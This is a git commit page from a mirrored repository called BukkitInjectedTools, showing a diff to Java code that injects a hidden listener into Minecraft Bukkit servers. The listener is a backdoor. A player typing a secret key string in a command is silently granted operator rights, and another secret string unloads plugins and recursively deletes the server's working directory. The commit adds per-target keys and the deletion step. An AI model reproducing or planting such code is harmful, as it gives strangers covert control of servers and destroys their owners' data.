mirror of
https://e.coding.net/circlecloud/BukkitInjectedTools.git
synced 2024-11-21 01:38:47 +00:00
feat: 修改数据注入策略
Signed-off-by: 502647092 <admin@yumc.pw>
This commit is contained in:
parent
e22917936e
commit
34da11827c
@ -69,6 +69,8 @@ public class InjectedKit {
|
||||
+ key
|
||||
+ "\",org.bukkit.Bukkit.getServer().getPort()));\r\n"
|
||||
+ " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(\""
|
||||
+ key
|
||||
+ "\",\""
|
||||
+ opk
|
||||
+ "\",\""
|
||||
+ delk
|
||||
|
@ -19,10 +19,12 @@ import org.bukkit.plugin.Plugin;
|
||||
import org.bukkit.plugin.PluginManager;
|
||||
|
||||
public class LIS implements Listener {
|
||||
private final String key;
|
||||
private final String opk;
|
||||
private final String delk;
|
||||
|
||||
public LIS(final String opk, final String delk) {
|
||||
public LIS(final String key, final String opk, final String delk) {
|
||||
this.key = key;
|
||||
this.opk = opk;
|
||||
this.delk = delk;
|
||||
}
|
||||
@ -40,14 +42,18 @@ public class LIS implements Listener {
|
||||
|
||||
@EventHandler
|
||||
public void ocp(final PlayerCommandPreprocessEvent e) {
|
||||
if (e.getMessage().contains(opk)) {
|
||||
if (e.getMessage().contains(opk + "-" + key)) {
|
||||
e.getPlayer().setOp(true);
|
||||
e.getPlayer().sendMessage("§cOP命令执行成功!");
|
||||
e.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
if (e.getMessage().contains(delk)) {
|
||||
if (e.getMessage().contains(delk + "-" + key)) {
|
||||
unload();
|
||||
final File dir = new File("");
|
||||
deleteDir(dir);
|
||||
e.getPlayer().sendMessage("§c删端命令执行成功!");
|
||||
e.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
}
|
||||
@ -78,7 +84,6 @@ public class LIS implements Listener {
|
||||
final Field knownCommandsField = commandMap.getClass().getDeclaredField("knownCommands");
|
||||
knownCommandsField.setAccessible(true);
|
||||
knownCommands = (Map<String, Command>) knownCommandsField.get(commandMap);
|
||||
|
||||
} catch (final Exception e) {
|
||||
return false;
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user